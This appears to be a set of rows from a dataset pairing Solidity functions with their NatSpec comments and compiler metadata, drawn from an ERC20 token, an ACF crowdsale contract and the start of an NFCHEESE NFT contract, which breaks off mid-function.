function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
| /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
566,
697
]
} | 8,846 |
|
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
} | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | transfer | function transfer(address _to, uint256 _value) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
| /**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
268,
474
]
} | 8,847 |
|
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
} | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
| /**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
681,
790
]
} | 8,848 |
|
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
| /**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
390,
860
]
} | 8,849 |
|
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | approve | function approve(address _spender, uint256 _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
| /**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
1095,
1612
]
} | 8,850 |
|
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | allowance | function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
| /**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
1933,
2071
]
} | 8,851 |
|
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | ACFSale | contract ACFSale is Ownable{
uint public startTime = 1512064800; // unix ts in which the sale starts.
uint public endTime = 1517356800; // unix ts in which the sale end.
address public ACFWallet; // The address to hold the funds donated
uint public totalCollected = 0; // In wei
bool public saleStopped = false; // Has ACF stopped the sale?
bool public saleFinalized = false; // Has ACF finalized the sale?
ACFToken public token; // The token
uint constant public minInvestment = 0.1 ether; // Minimum investment 0,1 ETH
/** Addresses that are allowed to invest even before ICO opens. For testing, for ICO partners, etc. */
mapping (address => bool) public whitelist;
event NewBuyer(address indexed holder, uint256 ACFAmount, uint256 amount);
// Address early participation whitelist status changed
event Whitelisted(address addr, bool status);
function ACFSale (
address _token,
address _ACFWallet
)
{
token = ACFToken(_token);
ACFWallet = _ACFWallet;
// add wallet as whitelisted
setWhitelistStatus(ACFWallet, true);
transferOwnership(ACFWallet);
}
// change whitelist status for a specific address
function setWhitelistStatus(address addr, bool status)
onlyOwner {
whitelist[addr] = status;
Whitelisted(addr, status);
}
// Get the rate for a ACF token 1 ACF = 0.05 ETH -> 20 ACF = 1 ETH
function getRate() constant public returns (uint256) {
return 10;
}
/**
* Get the amount of unsold tokens allocated to this contract;
*/
function getTokensLeft() public constant returns (uint) {
return token.balanceOf(this);
}
function () public payable {
doPayment(msg.sender);
}
function doPayment(address _owner)
only_during_sale_period_or_whitelisted(_owner)
only_sale_not_stopped
non_zero_address(_owner)
minimum_value(minInvestment)
internal {
uint256 tokensLeft = getTokensLeft();
if(tokensLeft <= 0) throw;
// Calculate how many tokens at current price
uint256 tokenAmount = SafeMath.mul(msg.value, getRate());
// do not allow selling more than what we have
if(tokenAmount > tokensLeft) throw;
if (!ACFWallet.send(msg.value)) throw;
// transfer token (it will throw error if transaction is not valid)
token.transfer(_owner, tokenAmount);
// record total selling
totalCollected = SafeMath.add(totalCollected, msg.value);
NewBuyer(_owner, tokenAmount, msg.value);
}
// Function to stop sale for an emergency.
// Only ACF can do it after it has been activated.
function emergencyStopSale()
only_sale_not_stopped
onlyOwner
public {
saleStopped = true;
}
// Function to restart stopped sale.
// Only ACF can do it after it has been disabled and sale is ongoing.
function restartSale()
only_during_sale_period
only_sale_stopped
onlyOwner
public {
saleStopped = false;
}
function finalizeSale()
only_after_sale
onlyOwner
public {
doFinalizeSale();
}
function doFinalizeSale()
internal {
// move all remaining eth in the sale contract to ACFWallet
if (!ACFWallet.send(this.balance)) throw;
// transfer remaining tokens to ACFWallet
token.transfer(ACFWallet, getTokensLeft());
saleFinalized = true;
saleStopped = true;
}
function getNow() internal constant returns (uint) {
return now;
}
modifier only(address x) {
if (msg.sender != x) throw;
_;
}
modifier only_during_sale_period {
if (getNow() < startTime) throw;
if (getNow() >= endTime) throw;
_;
}
// valid only during sale or before sale if the sender is whitelisted
modifier only_during_sale_period_or_whitelisted(address x) {
if (getNow() < startTime && !whitelist[x]) throw;
if (getNow() >= endTime) throw;
_;
}
modifier only_after_sale {
if (getNow() < endTime) throw;
_;
}
modifier only_sale_stopped {
if (!saleStopped) throw;
_;
}
modifier only_sale_not_stopped {
if (saleStopped) throw;
_;
}
modifier non_zero_address(address x) {
if (x == 0) throw;
_;
}
modifier minimum_value(uint256 x) {
if (msg.value < x) throw;
_;
}
} | setWhitelistStatus | function setWhitelistStatus(address addr, bool status)
onlyOwner {
whitelist[addr] = status;
Whitelisted(addr, status);
}
| // change whitelist status for a specific address | LineComment | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
1310,
1464
]
} | 8,852 |
|||
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | ACFSale | contract ACFSale is Ownable{
uint public startTime = 1512064800; // unix ts in which the sale starts.
uint public endTime = 1517356800; // unix ts in which the sale end.
address public ACFWallet; // The address to hold the funds donated
uint public totalCollected = 0; // In wei
bool public saleStopped = false; // Has ACF stopped the sale?
bool public saleFinalized = false; // Has ACF finalized the sale?
ACFToken public token; // The token
uint constant public minInvestment = 0.1 ether; // Minimum investment 0,1 ETH
/** Addresses that are allowed to invest even before ICO opens. For testing, for ICO partners, etc. */
mapping (address => bool) public whitelist;
event NewBuyer(address indexed holder, uint256 ACFAmount, uint256 amount);
// Address early participation whitelist status changed
event Whitelisted(address addr, bool status);
function ACFSale (
address _token,
address _ACFWallet
)
{
token = ACFToken(_token);
ACFWallet = _ACFWallet;
// add wallet as whitelisted
setWhitelistStatus(ACFWallet, true);
transferOwnership(ACFWallet);
}
// change whitelist status for a specific address
function setWhitelistStatus(address addr, bool status)
onlyOwner {
whitelist[addr] = status;
Whitelisted(addr, status);
}
// Get the rate for a ACF token 1 ACF = 0.05 ETH -> 20 ACF = 1 ETH
function getRate() constant public returns (uint256) {
return 10;
}
/**
* Get the amount of unsold tokens allocated to this contract;
*/
function getTokensLeft() public constant returns (uint) {
return token.balanceOf(this);
}
function () public payable {
doPayment(msg.sender);
}
function doPayment(address _owner)
only_during_sale_period_or_whitelisted(_owner)
only_sale_not_stopped
non_zero_address(_owner)
minimum_value(minInvestment)
internal {
uint256 tokensLeft = getTokensLeft();
if(tokensLeft <= 0) throw;
// Calculate how many tokens at current price
uint256 tokenAmount = SafeMath.mul(msg.value, getRate());
// do not allow selling more than what we have
if(tokenAmount > tokensLeft) throw;
if (!ACFWallet.send(msg.value)) throw;
// transfer token (it will throw error if transaction is not valid)
token.transfer(_owner, tokenAmount);
// record total selling
totalCollected = SafeMath.add(totalCollected, msg.value);
NewBuyer(_owner, tokenAmount, msg.value);
}
// Function to stop sale for an emergency.
// Only ACF can do it after it has been activated.
function emergencyStopSale()
only_sale_not_stopped
onlyOwner
public {
saleStopped = true;
}
// Function to restart stopped sale.
// Only ACF can do it after it has been disabled and sale is ongoing.
function restartSale()
only_during_sale_period
only_sale_stopped
onlyOwner
public {
saleStopped = false;
}
function finalizeSale()
only_after_sale
onlyOwner
public {
doFinalizeSale();
}
function doFinalizeSale()
internal {
// move all remaining eth in the sale contract to ACFWallet
if (!ACFWallet.send(this.balance)) throw;
// transfer remaining tokens to ACFWallet
token.transfer(ACFWallet, getTokensLeft());
saleFinalized = true;
saleStopped = true;
}
function getNow() internal constant returns (uint) {
return now;
}
modifier only(address x) {
if (msg.sender != x) throw;
_;
}
modifier only_during_sale_period {
if (getNow() < startTime) throw;
if (getNow() >= endTime) throw;
_;
}
// valid only during sale or before sale if the sender is whitelisted
modifier only_during_sale_period_or_whitelisted(address x) {
if (getNow() < startTime && !whitelist[x]) throw;
if (getNow() >= endTime) throw;
_;
}
modifier only_after_sale {
if (getNow() < endTime) throw;
_;
}
modifier only_sale_stopped {
if (!saleStopped) throw;
_;
}
modifier only_sale_not_stopped {
if (saleStopped) throw;
_;
}
modifier non_zero_address(address x) {
if (x == 0) throw;
_;
}
modifier minimum_value(uint256 x) {
if (msg.value < x) throw;
_;
}
} | getRate | function getRate() constant public returns (uint256) {
return 10;
}
| // Get the rate for a ACF token 1 ACF = 0.05 ETH -> 20 ACF = 1 ETH | LineComment | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
1539,
1625
]
} | 8,853 |
|||
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | ACFSale | contract ACFSale is Ownable{
uint public startTime = 1512064800; // unix ts in which the sale starts.
uint public endTime = 1517356800; // unix ts in which the sale end.
address public ACFWallet; // The address to hold the funds donated
uint public totalCollected = 0; // In wei
bool public saleStopped = false; // Has ACF stopped the sale?
bool public saleFinalized = false; // Has ACF finalized the sale?
ACFToken public token; // The token
uint constant public minInvestment = 0.1 ether; // Minimum investment 0,1 ETH
/** Addresses that are allowed to invest even before ICO opens. For testing, for ICO partners, etc. */
mapping (address => bool) public whitelist;
event NewBuyer(address indexed holder, uint256 ACFAmount, uint256 amount);
// Address early participation whitelist status changed
event Whitelisted(address addr, bool status);
function ACFSale (
address _token,
address _ACFWallet
)
{
token = ACFToken(_token);
ACFWallet = _ACFWallet;
// add wallet as whitelisted
setWhitelistStatus(ACFWallet, true);
transferOwnership(ACFWallet);
}
// change whitelist status for a specific address
function setWhitelistStatus(address addr, bool status)
onlyOwner {
whitelist[addr] = status;
Whitelisted(addr, status);
}
// Get the rate for a ACF token 1 ACF = 0.05 ETH -> 20 ACF = 1 ETH
function getRate() constant public returns (uint256) {
return 10;
}
/**
* Get the amount of unsold tokens allocated to this contract;
*/
function getTokensLeft() public constant returns (uint) {
return token.balanceOf(this);
}
function () public payable {
doPayment(msg.sender);
}
function doPayment(address _owner)
only_during_sale_period_or_whitelisted(_owner)
only_sale_not_stopped
non_zero_address(_owner)
minimum_value(minInvestment)
internal {
uint256 tokensLeft = getTokensLeft();
if(tokensLeft <= 0) throw;
// Calculate how many tokens at current price
uint256 tokenAmount = SafeMath.mul(msg.value, getRate());
// do not allow selling more than what we have
if(tokenAmount > tokensLeft) throw;
if (!ACFWallet.send(msg.value)) throw;
// transfer token (it will throw error if transaction is not valid)
token.transfer(_owner, tokenAmount);
// record total selling
totalCollected = SafeMath.add(totalCollected, msg.value);
NewBuyer(_owner, tokenAmount, msg.value);
}
// Function to stop sale for an emergency.
// Only ACF can do it after it has been activated.
function emergencyStopSale()
only_sale_not_stopped
onlyOwner
public {
saleStopped = true;
}
// Function to restart stopped sale.
// Only ACF can do it after it has been disabled and sale is ongoing.
function restartSale()
only_during_sale_period
only_sale_stopped
onlyOwner
public {
saleStopped = false;
}
function finalizeSale()
only_after_sale
onlyOwner
public {
doFinalizeSale();
}
function doFinalizeSale()
internal {
// move all remaining eth in the sale contract to ACFWallet
if (!ACFWallet.send(this.balance)) throw;
// transfer remaining tokens to ACFWallet
token.transfer(ACFWallet, getTokensLeft());
saleFinalized = true;
saleStopped = true;
}
function getNow() internal constant returns (uint) {
return now;
}
modifier only(address x) {
if (msg.sender != x) throw;
_;
}
modifier only_during_sale_period {
if (getNow() < startTime) throw;
if (getNow() >= endTime) throw;
_;
}
// valid only during sale or before sale if the sender is whitelisted
modifier only_during_sale_period_or_whitelisted(address x) {
if (getNow() < startTime && !whitelist[x]) throw;
if (getNow() >= endTime) throw;
_;
}
modifier only_after_sale {
if (getNow() < endTime) throw;
_;
}
modifier only_sale_stopped {
if (!saleStopped) throw;
_;
}
modifier only_sale_not_stopped {
if (saleStopped) throw;
_;
}
modifier non_zero_address(address x) {
if (x == 0) throw;
_;
}
modifier minimum_value(uint256 x) {
if (msg.value < x) throw;
_;
}
} | getTokensLeft | function getTokensLeft() public constant returns (uint) {
return token.balanceOf(this);
}
| /**
* Get the amount of unsold tokens allocated to this contract;
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
1716,
1824
]
} | 8,854 |
|||
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | ACFSale | contract ACFSale is Ownable{
uint public startTime = 1512064800; // unix ts in which the sale starts.
uint public endTime = 1517356800; // unix ts in which the sale end.
address public ACFWallet; // The address to hold the funds donated
uint public totalCollected = 0; // In wei
bool public saleStopped = false; // Has ACF stopped the sale?
bool public saleFinalized = false; // Has ACF finalized the sale?
ACFToken public token; // The token
uint constant public minInvestment = 0.1 ether; // Minimum investment 0,1 ETH
/** Addresses that are allowed to invest even before ICO opens. For testing, for ICO partners, etc. */
mapping (address => bool) public whitelist;
event NewBuyer(address indexed holder, uint256 ACFAmount, uint256 amount);
// Address early participation whitelist status changed
event Whitelisted(address addr, bool status);
function ACFSale (
address _token,
address _ACFWallet
)
{
token = ACFToken(_token);
ACFWallet = _ACFWallet;
// add wallet as whitelisted
setWhitelistStatus(ACFWallet, true);
transferOwnership(ACFWallet);
}
// change whitelist status for a specific address
function setWhitelistStatus(address addr, bool status)
onlyOwner {
whitelist[addr] = status;
Whitelisted(addr, status);
}
// Get the rate for a ACF token 1 ACF = 0.05 ETH -> 20 ACF = 1 ETH
function getRate() constant public returns (uint256) {
return 10;
}
/**
* Get the amount of unsold tokens allocated to this contract;
*/
function getTokensLeft() public constant returns (uint) {
return token.balanceOf(this);
}
function () public payable {
doPayment(msg.sender);
}
function doPayment(address _owner)
only_during_sale_period_or_whitelisted(_owner)
only_sale_not_stopped
non_zero_address(_owner)
minimum_value(minInvestment)
internal {
uint256 tokensLeft = getTokensLeft();
if(tokensLeft <= 0) throw;
// Calculate how many tokens at current price
uint256 tokenAmount = SafeMath.mul(msg.value, getRate());
// do not allow selling more than what we have
if(tokenAmount > tokensLeft) throw;
if (!ACFWallet.send(msg.value)) throw;
// transfer token (it will throw error if transaction is not valid)
token.transfer(_owner, tokenAmount);
// record total selling
totalCollected = SafeMath.add(totalCollected, msg.value);
NewBuyer(_owner, tokenAmount, msg.value);
}
// Function to stop sale for an emergency.
// Only ACF can do it after it has been activated.
function emergencyStopSale()
only_sale_not_stopped
onlyOwner
public {
saleStopped = true;
}
// Function to restart stopped sale.
// Only ACF can do it after it has been disabled and sale is ongoing.
function restartSale()
only_during_sale_period
only_sale_stopped
onlyOwner
public {
saleStopped = false;
}
function finalizeSale()
only_after_sale
onlyOwner
public {
doFinalizeSale();
}
function doFinalizeSale()
internal {
// move all remaining eth in the sale contract to ACFWallet
if (!ACFWallet.send(this.balance)) throw;
// transfer remaining tokens to ACFWallet
token.transfer(ACFWallet, getTokensLeft());
saleFinalized = true;
saleStopped = true;
}
function getNow() internal constant returns (uint) {
return now;
}
modifier only(address x) {
if (msg.sender != x) throw;
_;
}
modifier only_during_sale_period {
if (getNow() < startTime) throw;
if (getNow() >= endTime) throw;
_;
}
// valid only during sale or before sale if the sender is whitelisted
modifier only_during_sale_period_or_whitelisted(address x) {
if (getNow() < startTime && !whitelist[x]) throw;
if (getNow() >= endTime) throw;
_;
}
modifier only_after_sale {
if (getNow() < endTime) throw;
_;
}
modifier only_sale_stopped {
if (!saleStopped) throw;
_;
}
modifier only_sale_not_stopped {
if (saleStopped) throw;
_;
}
modifier non_zero_address(address x) {
if (x == 0) throw;
_;
}
modifier minimum_value(uint256 x) {
if (msg.value < x) throw;
_;
}
} | emergencyStopSale | function emergencyStopSale()
only_sale_not_stopped
onlyOwner
public {
saleStopped = true;
}
| // Function to stop sale for an emergency.
// Only ACF can do it after it has been activated. | LineComment | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
2858,
2983
]
} | 8,855 |
|||
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | ACFSale | contract ACFSale is Ownable{
uint public startTime = 1512064800; // unix ts in which the sale starts.
uint public endTime = 1517356800; // unix ts in which the sale end.
address public ACFWallet; // The address to hold the funds donated
uint public totalCollected = 0; // In wei
bool public saleStopped = false; // Has ACF stopped the sale?
bool public saleFinalized = false; // Has ACF finalized the sale?
ACFToken public token; // The token
uint constant public minInvestment = 0.1 ether; // Minimum investment 0,1 ETH
/** Addresses that are allowed to invest even before ICO opens. For testing, for ICO partners, etc. */
mapping (address => bool) public whitelist;
event NewBuyer(address indexed holder, uint256 ACFAmount, uint256 amount);
// Address early participation whitelist status changed
event Whitelisted(address addr, bool status);
function ACFSale (
address _token,
address _ACFWallet
)
{
token = ACFToken(_token);
ACFWallet = _ACFWallet;
// add wallet as whitelisted
setWhitelistStatus(ACFWallet, true);
transferOwnership(ACFWallet);
}
// change whitelist status for a specific address
function setWhitelistStatus(address addr, bool status)
onlyOwner {
whitelist[addr] = status;
Whitelisted(addr, status);
}
// Get the rate for a ACF token 1 ACF = 0.05 ETH -> 20 ACF = 1 ETH
function getRate() constant public returns (uint256) {
return 10;
}
/**
* Get the amount of unsold tokens allocated to this contract;
*/
function getTokensLeft() public constant returns (uint) {
return token.balanceOf(this);
}
function () public payable {
doPayment(msg.sender);
}
function doPayment(address _owner)
only_during_sale_period_or_whitelisted(_owner)
only_sale_not_stopped
non_zero_address(_owner)
minimum_value(minInvestment)
internal {
uint256 tokensLeft = getTokensLeft();
if(tokensLeft <= 0) throw;
// Calculate how many tokens at current price
uint256 tokenAmount = SafeMath.mul(msg.value, getRate());
// do not allow selling more than what we have
if(tokenAmount > tokensLeft) throw;
if (!ACFWallet.send(msg.value)) throw;
// transfer token (it will throw error if transaction is not valid)
token.transfer(_owner, tokenAmount);
// record total selling
totalCollected = SafeMath.add(totalCollected, msg.value);
NewBuyer(_owner, tokenAmount, msg.value);
}
// Function to stop sale for an emergency.
// Only ACF can do it after it has been activated.
function emergencyStopSale()
only_sale_not_stopped
onlyOwner
public {
saleStopped = true;
}
// Function to restart stopped sale.
// Only ACF can do it after it has been disabled and sale is ongoing.
function restartSale()
only_during_sale_period
only_sale_stopped
onlyOwner
public {
saleStopped = false;
}
function finalizeSale()
only_after_sale
onlyOwner
public {
doFinalizeSale();
}
function doFinalizeSale()
internal {
// move all remaining eth in the sale contract to ACFWallet
if (!ACFWallet.send(this.balance)) throw;
// transfer remaining tokens to ACFWallet
token.transfer(ACFWallet, getTokensLeft());
saleFinalized = true;
saleStopped = true;
}
function getNow() internal constant returns (uint) {
return now;
}
modifier only(address x) {
if (msg.sender != x) throw;
_;
}
modifier only_during_sale_period {
if (getNow() < startTime) throw;
if (getNow() >= endTime) throw;
_;
}
// valid only during sale or before sale if the sender is whitelisted
modifier only_during_sale_period_or_whitelisted(address x) {
if (getNow() < startTime && !whitelist[x]) throw;
if (getNow() >= endTime) throw;
_;
}
modifier only_after_sale {
if (getNow() < endTime) throw;
_;
}
modifier only_sale_stopped {
if (!saleStopped) throw;
_;
}
modifier only_sale_not_stopped {
if (saleStopped) throw;
_;
}
modifier non_zero_address(address x) {
if (x == 0) throw;
_;
}
modifier minimum_value(uint256 x) {
if (msg.value < x) throw;
_;
}
} | restartSale | function restartSale()
only_during_sale_period
only_sale_stopped
onlyOwner
public {
saleStopped = false;
}
| // Function to restart stopped sale.
// Only ACF can do it after it has been disabled and sale is ongoing. | LineComment | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
3106,
3251
]
} | 8,856 |
|||
NFCHEESE | contracts/NFCHEESE.sol | 0xd5745fb5cfb5c3b36475042c3cf10e1689412987 | Solidity | NFCHEESE | contract NFCHEESE is Ownable, ERC721Enumerable, IMintableNft {
uint256 public constant maxMintCount = 150;
uint256 _mintedCount;
mapping(address => bool) public factories; // factories, that can mint tokens
string public baseURI;
string public secretMetaURI =
"ipfs://QmXwum8EBnxYuoxjEpaaqEd6NDWEyseAe16LKTyEW1dQDE";
bool public mintEnable;
constructor() ERC721("NFCHEESE", "NFCHEESE") {}
function setFactory(address addr, bool isFactory) external onlyOwner {
factories[addr] = isFactory;
}
/// @dev mint item (only for factories)
/// @param toAddress receiving address
function mint(address toAddress) external override {
require(factories[msg.sender], "only for factories");
require(_mintedCount < maxMintCount, "all tokens are minted");
require(mintEnable, "mint is not enabled");
_mint(toAddress, ++_mintedCount);
}
function setBaseURI(string calldata newBaseURI) external onlyOwner {
